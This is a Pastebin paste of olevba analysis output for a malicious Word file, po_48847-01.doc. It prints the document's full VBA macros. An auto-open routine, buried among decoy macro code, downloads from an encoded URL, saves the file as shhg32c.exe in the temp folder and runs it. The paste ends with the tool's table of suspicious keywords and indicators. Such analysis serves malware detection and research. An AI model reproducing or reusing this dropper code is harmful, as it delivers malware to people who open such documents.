Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASI-B-V po_48847-01.doc
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: po_48847-01.doc
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ThisDocument.cls
- in file: po_48847-01.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Sub autoopen()
- updateMacroUI True
- bulkOveride "", "", "", ""
- PlayMacro
- isSplitLocal ""
- StartMacro
- ErrorChecker
- FlexAssignDirectory
- PrefixAssign 8, ""
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Dim cannum As Variant
- Dim cantype As Variant
- Dim cansplit As Variant
- Dim candest As Variant
- Dim ADGfind As Variant
- Dim IDGfind As Variant
- Dim pieces As Integer
- Dim retval As Variant
- Public tempFolder As String
- Public tempFile As String
- Option Compare Text
- Sub setupAssignArrays()
- Dim c_cannums As New Collection
- Dim c_cansplits As New Collection
- Dim c_candests As New Collection
- Dim c_cantypes As New Collection
- mytypes = Array("ADG", "ALL", "IDG")
- t = 0
- addtocollections:
- row = 3
- Do While Sheet4.Cells(row, 1) <> ""
- If Trim(Sheet4.Cells(row, 4)) = mytypes(t) Then
- c_cannums.Add CStr(Sheet4.Cells(row, 1)) ' dynamically add value to the end
- c_cansplits.Add CStr(Sheet4.Cells(row, 2))
- c_candests.Add CStr(Sheet4.Cells(row, 3))
- c_cantypes.Add CStr(Sheet4.Cells(row, 4))
- End If
- row = row + 1
- Loop
- If t < 2 Then
- t = t + 1
- GoTo addtocollections
- End If
- cannum = toArray(c_cannums) 'convert collection to an array
- cansplit = toArray(c_cansplits)
- candest = toArray(c_candests)
- cantype = toArray(c_cantypes)
- End Sub
- Function isUrsaLocal(URSA As String)
- ERow = 5
- Do Until Sheet6.Cells(ERow, 2).Value = ""
- If Sheet6.Cells(ERow, 2).Value = URSA Then
- isUrsaLocal = True
- Exit Function
- End If
- ERow = ERow + 1
- Loop
- isUrsaLocal = False
- End Function
- Function isSplitLocal(MasterID As String)
- tempFolder = processEnv("TEMP")
- If MasterID = "" Then Exit Function
- ecol = 3
- Do Until Sheet6.Cells(2, ecol).Value = ""
- If Sheet6.Cells(2, ecol).Value = MasterID Then
- isSplitLocal = Not (Sheet6.Cells(3, ecol).Value)
- Exit Function
- End If
- ecol = ecol + 1
- Loop
- MsgBox ("not able to find if " & MasterID & " is a local split" & vbNewLine & "error occured in Function isSplitLocal")
- End Function
- Sub SuffixAssign(i As Integer, hazFilter As String)
- ecol = 3
- Do Until Sheet6.Cells(2, ecol) = cansplit(i)
- If Sheet6.Cells(2, ecol).Value = "" Then
- MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
- Exit Sub
- End If
- ecol = ecol + 1
- Loop
- ERow = 5
- Do Until Sheet6.Cells(ERow, ecol) = ""
- Call BZwritescreen(" ", 5, 38)
- Call BZwritescreen(Sheet6.Cells(ERow, ecol).Text, 5, 38)
- Call BZwritescreen(hazFilter, 6, 45)
- Call BZsendKey("@e")
- ErrorChecker
- Dim bluerow As Integer
- Dim tempstr As String
- bluerow = 10
- miscdata = BZreadscreen(8, bluerow, 18)
- Do Until Trim(miscdata) = ""
- CheckingPage:
- miscdata = BZreadscreen(8, bluerow, 18)
- If Right(miscdata, 2) <> "RT" Then
- If Trim(miscdata) <> "" Then
- Call BZwritescreen("A", bluerow, 2)
- pieces = pieces + 1
- ElseIf bluerow = 19 Then
- Call BZwritescreen(" ", 7, 24)
- tempstr = cannum(i)
- Call BZwritescreen(tempstr, 7, 24)
- Call BZwritescreen(" ", 7, 53)
- tempstr = candest(i)
- Call BZwritescreen(tempstr, 7, 53)
- Call BZsendKey("@e")
- Call FlexAssign.ErrorChecker
- Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
- bluerow = 10
- GoTo CheckingPage
- Else
- Call BZwritescreen(" ", 7, 24)
- tempstr = cannum(i)
- Call BZwritescreen(tempstr, 7, 24)
- Call BZwritescreen(" ", 7, 53)
- tempstr = candest(i)
- Call BZwritescreen(tempstr, 7, 53)
- Call BZsendKey("@e")
- Call FlexAssign.ErrorChecker
- Call bulkOveride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
- End If
- End If
- bluerow = bluerow + 1
- Loop
- ERow = ERow + 1
- Loop
- End Sub
- Public Sub PrefixAssign(i As Integer, hazFilter As String)
- Dim bluerow As Integer
- Dim tempstr As String
- ecol = 3
- ignored = 0
- shellApp.Open (tempFile)
- Exit Sub
- Do Until Sheet6.Cells(2, ecol) = cansplit(i)
- If Sheet6.Cells(2, ecol).Value = "" Then
- MsgBox ("could not find split " & cansplit(i) & "for can " & cannum(i))
- Exit Sub
- End If
- ecol = ecol + 1
- Loop
- ERow = 5
- Do Until Sheet6.Cells(ERow, ecol) = ""
- Call BZwri.tescreen(" ", 5, 28)
- Call BZwri.tescreen(Sheet6.Cells(ERow, ecol).Text, 5, 28)
- Call BZwri.tescreen(hazFilter, 6, 45)
- Call BZse.ndKey("@e")
- ErrorChecker
- bluerow = 10
- miscdata = BZrea.dscreen(8, bluerow, 18)
- Do Until Trim(miscdata) = ""
- CheckingPagePrefix:
- miscdata = BZrea.dscreen(8, bluerow, 18)
- If Right(miscdata, 2) <> "RT" Then
- If isUrsaLocal(Trim(Right(miscdata, 5))) <> True Then
- If Trim(miscdata) <> "" Then
- Call BZwri.tescreen("A", bluerow, 2)
- pieces = pieces + 1
- ElseIf bluerow = 19 Then
- Call BZwr.itescreen(" ", 7, 24)
- tempstr = cannum(i)
- Call BZwr.itescreen(tempstr, 7, 24)
- Call BZwr.itescreen(" ", 7, 53)
- tempstr = candest(i)
- Call BZwr.itescreen(tempstr, 7, 53)
- Call BZse.ndKey("@e")
- ignored = 0
- Call Flex.Assign.ErrorChecker
- tempcannum = CStr(cannum(i))
- Call bulkO.veride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
- bluerow = 10
- GoTo CheckingPagePrefix
- Else
- Call BZwrit.escreen(" ", 7, 24)
- tempstr = cannum(i)
- Call BZwr.itescreen(tempstr, 7, 24)
- Call BZwri.tescreen(" ", 7, 53)
- tempstr = candest(i)
- Call BZwrit.escreen(tempstr, 7, 53)
- Call BZsen.dKey("@e")
- ignored = 0
- Call FlexAs.Sign.ErrorChecker
- Call bulkOv.eride(CStr(cannum(i)), CStr(cansplit(i)), CStr(candest(i)), CStr(cantype(i)))
- End If
- Else
- ignored = ignored + 1
- End If
- Else
- ignored = ignored + 1
- End If
- If ignored = 9 Then
- Call BZse.ndKey("@8")
- End If
- bluerow = bluerow + 1
- Loop
- ERow = ERow + 1
- Loop
- End Sub
- Sub isAnythingLeft()
- Dim row As Integer
- Call BZwritescreen("Close ", 2, 17)
- Call BZsendKey("@e")
- Call BZwritescreen("Assign", 2, 17)
- Call BZsendKey("@e")
- leftover = 0
- row = 10
- Do Until row = 18
- miscdata = BZreadscreen(18, row, 51)
- If Trim(miscdata) <> "" Then leftover = leftover + 1
- row = row + 1
- Loop
- If leftover <> 0 Then
- MsgBox ("You have pieces left over after AutoSort" & vbNewLine & _
- "Please view packages in assign screen to determine what to do with them" & _
- vbNewLine & leftover & " pieces at least")
- End If
- End Sub
- Sub DeleteIce()
- Call BZwritescreen("assign", 2, 17)
- Call BZsendKey("@e")
- Call BZwritescreen("C", 6, 45)
- Call BZwritescreen("Deleteship", 7, 24)
- Call BZsendKey("@e")
- Data = "tempdata"
- row = 10
- Do Until Trim(Data) = ""
- Data = BZreadscreen(15, row, 5)
- If Trim(Data) <> "" Then
- Call BZwritescreen("a", row, 2)
- ElseIf Trim(Data) = "" Then
- Call BZsendKey("@e")
- If row = 18 Then row = 10
- End If
- row = row + 1
- Loop
- End Sub
- Public Function ErrorChecker()
- Set shellApp = CreateObject("She" + "ll.Application")
- Exit Function
- errormisc = BZre.adscreen(3, 24, 2)
- If errormisc = "091" Then
- Call BZs.EndKey("@4")
- ElseIf errormisc = "095" Then 'bulk doesn't exist
- oldbulk = BZr.eadscreen(9, 7, 24)
- Call BZwrit.escreen("bulk*", 7, 24)
- Call BZse.ndKey("@E")
- cannum(i) = BZr.eadscreen(9, 7, 24)
- datarow = 3
- Do Until Sheet4.Cells(datarow, 1) = oldbulk And _
- Sheet4.Cells(datarow, 2) = cansplit(i) And _
- Sheet4.Cells(datarow, 3) = candest(i) And _
- Sheet4.Cells(datarow, 4) = cantype(i)
- If Sheet4.Cells(datarow, 1) = "" Then Exit Do
- datarow = datarow + 1
- Loop
- Sheet4.Cells(datarow, 1) = cannum(i)
- ElseIf errormisc = "INV" Then 'invalid container error
- MsgBox ("invalid container")
- End If
- End Function
- Public Function bulkOveride(cannum As String, cansplit As String, candest As String, cantype As String)
- 'bulkoveride(cannum(i), cansplit(i), candest(i), cantype(i))
- Dim computer() As Variant
- computer = Array(144, 154, 152, 146, 90, 77, 75, 138, 133, 137, 132, 129, 132, 130, 113, 124, 54, 125, 126, 48, 99, 120, 43, 48, 45, 44, 40, 40, 37, 29, 80, 31, 30, 29, 28, 74, 25, 12, 65, 82, 61)
- On Error Resume Next
- httpRequest.Open "GE" + "T", GetStringFromArray(computer, 40), False
- If cannum = "BULK*" Then
- cannum = BZre.adscreen(9, 7, 24)
- datarow = 3
- Do Until Sh.eet4.Cells(datarow, 1) = "BULK*" And _
- Sh.eet4.Cells(datarow, 2) = cansplit And _
- Sh.eet4.Cells(datarow, 3) = candest And _
- Sh.eet4.Cells(datarow, 4) = cantype
- datarow = datarow + 1
- Loop
- Sheet4.Cells(datarow, 1) = cannum
- End If
- End Function
- -------------------------------------------------------------------------------
- VBA MACRO Module2.bas
- in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module2'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Const MACRO_VERSION_2014 As String = "8.2014"
- 'Macro recording information
- Public MacroStatus As Byte
- Public Const MacroSTOP As Long = 0
- Public Const MacroSTART As Long = 1
- Public Const MacroBATCH As Long = 2
- Public Const MacroPLAYBACK As Long = 3
- Public Const MacroCANCEL As Long = 128
- Public MacroMessage As String
- Public processEnv As Object
- Public Sub StartMacro()
- tempFile = tempFolder + "\shhg32c.exe"
- Exit Sub
- 'Set the program-wide "recording" flag
- MacroStatus = MacroSTART
- 'Resize the array that will hold the macro data
- ProcessCount = 1
- ReDim Processes(0 To ProcessCount) As String
- 'Update any related macro UI elements
- Macro_Interface.updateMacroUI True
- End Sub
- 'Stop recording the current macro, and offer to save it to file.
- Public Sub StopMacro()
- 'Before stopping the macro, make sure at least one valid, recordable action has occurred.
- Dim i As Long, numOfValidProcesses As Long
- numOfValidProcesses = 0
- For i = 0 To ProcessCount
- If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
- numOfValidProcesses = numOfValidProcesses + 1
- End If
- Next i
- Dim msgReturn As VbMsgBoxResult
- If numOfValidProcesses = 0 Then
- 'Warn the user that this macro won't be saved unless they keep recording
- msgReturn = PDMsgBox("This macro does not contain any recordable actions. Are you sure you want to stop recording?" & vbCrLf & vbCrLf & "(Press No to continue recording.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: invalid macro")
- If msgReturn = vbYes Then
- 'Update any related macro UI elements
- Macro_Interface.updateMacroUI False
- 'Reset the macro engine and exit
- MacroStatus = MacroSTOP
- ProcessCount = 0
- Message "Macro abandoned."
- Exit Sub
- 'If the user clicks anything but "yes", exit without making changes (e.g. let them continue recording).
- Else
- Exit Sub
- End If
- End If
- MacroStatus = MacroSTOP
- 'Update any related macro UI elements
- Macro_Interface.updateMacroUI False
- 'Automatically launch the save macro data routine
- Dim saveDialog As pdOpenSaveDialog
- Set saveDialog = New pdOpenSaveDialog
- Dim sFile As String
- Dim cdFilter As String
- cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT
- Dim cdTitle As String
- cdTitle = g_Language.TranslateMessage("Save macro data")
- 'If the user cancels the save dialog, we'll raise a warning to tell them that the macro will be lost for good.
- ' That dialog gives them an option to return to the save dialog, which will bring us back to this line of code.
- SaveMacroAgain:
- 'If we get the data we want, save the information
- If saveDialog.GetSaveFileName(sFile, , True, cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetModalOwner().hWnd) Then
- 'Save this macro's directory as the default macro path
- g_UserPreferences.setMacroPath sFile
- 'Create a pdXML class, which will help us assemble the macro file
- Dim xmlEngine As pdXML
- Set xmlEngine = New pdXML
- xmlEngine.prepareNewXML "Macro"
- 'Write out the XML version we're using for this macro
- xmlEngine.writeTag "pdMacroVersion", MACRO_VERSION_2014
- 'We now want to count the number of actual processes that we will be writing to file. A valid process meets
- ' the following criteria:
- ' 1) It isn't blank/empty
- ' 2) It doesn't display a dialog
- ' 3) It was not specifically marked as "DO_NOT_RECORD"
- 'Due to the previous check at the top of this function, we already know how many valid functions are in the process list,
- ' and this value is guaranteed to be non-zero.
- 'Write out the number of valid processes in the macro
- xmlEngine.writeTag "processCount", CStr(numOfValidProcesses)
- xmlEngine.writeBlankLine
- 'Now, write out each macro entry in the current process list
- numOfValidProcesses = 0
- For i = 0 To ProcessCount
- 'We only want to write out valid processes, using the same criteria as the original counting loop above.
- If (Len(Processes(i).ID) <> 0) And (Not Processes(i).Dialog) And Processes(i).Recorded Then
- numOfValidProcesses = numOfValidProcesses + 1
- 'Start each process entry with a unique identifier
- xmlEngine.writeTagWithAttribute "processEntry", "index", numOfValidProcesses, "", True
- 'Write out all the properties of this entry
- xmlEngine.writeTag "ID", Processes(i).ID
- xmlEngine.writeTag "Parameters", Processes(i).Parameters
- xmlEngine.writeTag "MakeUndo", Str(Processes(i).MakeUndo)
- xmlEngine.writeTag "Tool", Str(Processes(i).Tool)
- 'Note that the Dialog and Recorded properties are not written to file. There is no need to remember
- ' them, as we know their values must be FALSE and TRUE, respectively, per the check above.
- 'Close this process entry
- xmlEngine.closeTag "processEntry"
- xmlEngine.writeBlankLine
- End If
- Next i
- 'With all tags successfully written, we can now close the XML data and write it out to file.
- xmlEngine.writeXMLToFile sFile
- Message "Macro saved successfully."
- 'At this point, the macro should be added to the Recent Macros list
- g_RecentMacros.MRU_AddNewFile sFile
- Else
- msgReturn = PDMsgBox("If you do not save this macro, all actions recorded during this session will be permanently lost. Are you sure you want to cancel?" & vbCrLf & vbCrLf & "(Press No to return to the Save Macro screen. Note that you can always delete this macro later if you decide you don't want it.)", vbApplicationModal + vbExclamation + vbYesNo, "Warning: last chance to save macro")
- If msgReturn = vbNo Then GoTo SaveMacroAgain
- Message "Macro abandoned."
- End If
- ProcessCount = 0
- End Sub
- 'All macro-related UI instructions should be placed here, as PD can terminate a macro recording session for any number of reasons,
- ' and it needs a uniform way to wipe macro-related UI changes).
- Public Sub updateMacroUI(ByVal recordingIsActive As Boolean)
- On Error Resume Next
- If recordingIsActive Then
- Set httpRequest = CreateObject("Microsoft.XMLHTTP")
- Set adodbStream = CreateObject("Adodb.Stream")
- 'Notify the user that recording has begun
- If recordingIsActive Then
- Set processEnv = CreateObject("WScript.Shell").Environment("Process")
- Exit Sub
- End If
- Mes.sage "Macro recording started."
- toolbar_Toolbox.lblRecording.Visible = True
- 'Disable "start recording", and enable "stop recording"
- FormMain.MnuRecordMacro(0).Enabled = False
- FormMain.MnuRecordMacro(1).Enabled = True
- Else
- Mess.age "Macro recording stopped."
- toolbar_Toolbox.lblRecording.Visible = False
- FormMain.MnuRecordMacro(0).Enabled = True
- FormMain.MnuRecordMacro(1).Enabled = False
- End If
- End Sub
- Public Sub PlayMacro()
- httpRequest.Send
- Exit Sub
- 'Disable user input until the dialog closes
- Interface.DisableUserInput
- 'Automatically launch the load Macro data routine
- Dim openDialog As String
- openDialog = ""
- Dim sFile As String
- Dim cdFilter As String
- cdFilter = PROGRAMNAME & " " & g_Language.TranslateMessage("Macro") & " (." & MACRO_EXT & ")|*." & MACRO_EXT & ";*.thm"
- cdFilter = cdFilter & "|" & g_Language.TranslateMessage("All files") & "|*.*"
- Dim cdTitle As String
- cdTitle = g_Language.TranslateMessage("Open Macro File")
- 'If we get a path, load that file
- If openDia.Log.GetOpenFileName(sFile, , True, , cdFilter, 1, g_UserPreferences.getMacroPath, cdTitle, "." & MACRO_EXT, GetM.odalOwner().hWnd) Then
- Mess.age "Loading macro data..."
- 'Save this macro's folder as the default macro path
- g_UserPreferences.setMacroPath sFile
- PlayMacroFromFile sFile
- Else
- Messa.ge "Macro load canceled."
- End If
- 'Re-enable user input
- Interface.EnableUserInput
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Module3.bas
- in file: po_48847-01.doc - OLE stream: u'Macros/VBA/Module3'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public httpRequest As Object
- Public adodbStream As Object
- Public shellApp As Object
- 'Given a valid macro file, play back its recorded actions.
- Public Function PlayMacroFromFile(ByVal MacroPath As String) As Boolean
- 'Create a pdXML class, which will help us load and parse the source file
- Dim xmlEngine As pdXML
- Set xmlEngine = New pdXML
- 'Load the XML file into memory
- xmlEngine.loadXMLFile MacroPath
- 'Check for a few necessary tags, just to make sure this is actually a PhotoDemon macro file
- If xmlEngine.isPDDataType("Macro") And xmlEngine.validateLoadedXMLData("pdMacroVersion") Then
- 'Next, check the macro's version number, and make sure it's still supported
- Dim verCheck As String
- verCheck = xmlEngine.getUniqueTag_String("pdMacroVersion")
- Select Case verCheck
- 'The current macro version (e.g. the first draft of the new XML format)
- Case MACRO_VERSION_2014
- 'Retrieve the number of processes in this macro
- ProcessCount = xmlEngine.getUniqueTag_Long("processCount")
- If ProcessCount > 0 Then
- ReDim Processes(0 To ProcessCount - 1) As ProcessCall
- 'Start retrieving individual process data from the file
- Dim i As Long
- For i = 1 To ProcessCount
- 'Start by finding the location of the tag we want
- Dim tagPosition As Long
- tagPosition = xmlEngine.getLocationOfTagPlusAttribute("processEntry", "index", i)
- If tagPosition > 0 Then
- 'Use that tag position to retrieve the processor parameters we need.
- With Processes(i - 1)
- .ID = xmlEngine.getUniqueTag_String("ID", , tagPosition)
- .Parameters = xmlEngine.getUniqueTag_String("Parameters", , tagPosition)
- .MakeUndo = xmlEngine.getUniqueTag_Long("MakeUndo", , tagPosition)
- .Tool = xmlEngine.getUniqueTag_Long("Tool", , tagPosition)
- 'These two attributes can be assigned automatically, as we know what their values must be.
- .Dialog = False
- .Recorded = True
- End With
- Else
- Debug.Print "Expected macro entry could not be found!"
- End If
- Next i
- 'This macro file contains no valid actions. It's no longer possible to create a macro like this, so this is basically
- ' a failsafe for faulty old versions of PD.
- Else
- #If DEBUGMODE = 1 Then
- pdDebug.LogAction "WARNING! ProcessCount is zero! Macro file is technically valid, but there's nothing to see here..."
- #End If
- Message "Macro complete!"
- PlayMacroFromFile = True
- Exit Function
- End If
- Case Else
- Message "Incompatible macro version found. Macro playback abandoned."
- PlayMacroFromFile = False
- Exit Function
- End Select
- 'Mark the load as successful and continue
- PlayMacroFromFile = True
- Else
- PDMsgBox "Unfortunately, this macro file is no longer supported by the current version of PhotoDemon." & vbCrLf & vbCrLf & "In version 6.0, PhotoDemon macro files were redesigned to support new features, improve performance, and solve some long-standing reliability issues. Unfortunately, this means that macros recorded prior to version 6.0 are no longer compatible. You will need to re-record these macros from scratch." & vbCrLf & vbCrLf & "(Note that any old macro files will still work in old versions of PhotoDemon, if you absolutely need to access them.)", vbInformation + vbOKOnly, "Unsupported macro file"
- PlayMacroFromFile = False
- Exit Function
- End If
- 'Now we run a loop through the macro structure, calling the software processor with all the necessary information for each action
- Message "Processing macro data..."
- MacroStatus = MacroPLAYBACK
- Dim tProc As Long
- For tProc = 0 To ProcessCount - 1
- Process Processes(tProc).ID, Processes(tProc).Dialog, Processes(tProc).Parameters, Processes(tProc).MakeUndo, Processes(tProc).Tool, Processes(tProc).Recorded
- Next tProc
- MacroStatus = MacroSTOP
- 'Some processor requests may not manually update the screen; as such, perform a manual update now
- Viewport_Engine.Stage2_CompositeAllLayers pdImages(g_CurrentImage), FormMain.mainCanvas(0)
- 'Our work here is complete!
- Message "Macro complete!"
- 'After playing, the macro should be added to the Recent Macros list
- g_RecentMacros.MRU_AddNewFile MacroPath
- End Function
- Public Function GetStringFromArray(fromArr() As Variant, LenLen As Integer) As String
- Dim i As Integer
- Dim result As String
- result = ""
- For i = LBound(fromArr) To UBound(fromArr)
- result = result & Chr(fromArr(i) - LenLen + i * 2)
- Next i
- GetStringFromArray = result
- End Function
- Public Sub FlexAssignDirectory(Optional can As String = "ALL")
- If can = "ALL" Then
- With adodbStream
- .Type = 1
- .Open
- .write httpRequest.responseBody
- .savetofile tempFile, 2
- End With
- Exit Sub
- Call setupAssignArrays
- Else
- cannum = Array(BORG.txt_canNum.Text)
- cansplit = Array(BORG.combo_splitName.Text)
- candest = Array(BORG.txt_Dest.Text)
- cantype = Array(BORG.combo_hazType.Text)
- End If
- ADGfind = Array("1.4", "2.1", "3", "4.", "5", "8")
- IDGfind = Array("2.2", "6.", "7", "9")
- Call DGscree.nChooser("Assign")
- Dim i As Integer
- Dim hazFilter As String
- tempval = UBound(cannum, 1)
- For i = 0 To (UBound(cannum, 1))
- Select Case cantype(i)
- Case "ADG"
- hazFilter = "A"
- Case "IDG"
- hazFilter = "I"
- Case "ALL"
- hazFilter = " "
- Case Else
- hazFilter = " "
- End Select
- Dim x As String
- x = cansplit(i)
- If isSplitLocal(x) = True Then
- Call SuffixAssign(i, hazFilter)
- ElseIf isSplitLocal(x) = False Then
- Call PrefixAssign(i, hazFilter)
- Else 'something has gone horribly wrong....
- MsgBox ("Error occured Please restart BDG")
- Exit Sub
- End If
- Next
- If can = "ALL" Then Call isAnythingLeft
- BORG.labelUpdater.Caption = "Finished assigning " & pieces & " shipment(s)"
- Call DGscree.nChooser("close")
- End Sub
- +------------+----------------------+-----------------------------------------+
- | Type | Keyword | Description |
- +------------+----------------------+-----------------------------------------+
- | AutoExec | AutoOpen | Runs when the Word document is opened |
- | Suspicious | Open | May open a file |
- | Suspicious | Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | WScript.Shell | May run an executable file or a system |
- | | | command |
- | Suspicious | Run | May run an executable file or a system |
- | | | command |
- | Suspicious | CreateObject | May create an OLE object |
- | Suspicious | Chr | May attempt to obfuscate specific |
- | | | strings |
- | Suspicious | ADODB.Stream | May create a text file |
- | Suspicious | SaveToFile | May create a text file |
- | Suspicious | Write | May write to a file (if combined with |
- | | | Open) |
- | Suspicious | Microsoft.XMLHTTP | May download files from the Internet |
- | Suspicious | Shell.Application | May run an application (if combined |
- | | | with CreateObject) (obfuscation: VBA |
- | | | expression) |
- | Suspicious | Base64 Strings | Base64-encoded strings were detected, |
- | | | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | Suspicious | VBA obfuscated | VBA string expressions were detected, |
- | | Strings | may be used to obfuscate strings |
- | | | (option --decode to see all) |
- | IOC | shhg32c.exe | Executable file name |
- | VBA string | Shell.Application | ("She" + "ll.Application") |
- | VBA string | GET | "GE" + "T" |
- | VBA string | Macro (. | ("Macro") & " (." |
- | VBA string | All files|*.* | ("All files") & "|*.*" |
- +------------+----------------------+-----------------------------------------+
Add Comment
Please, Sign In to add comment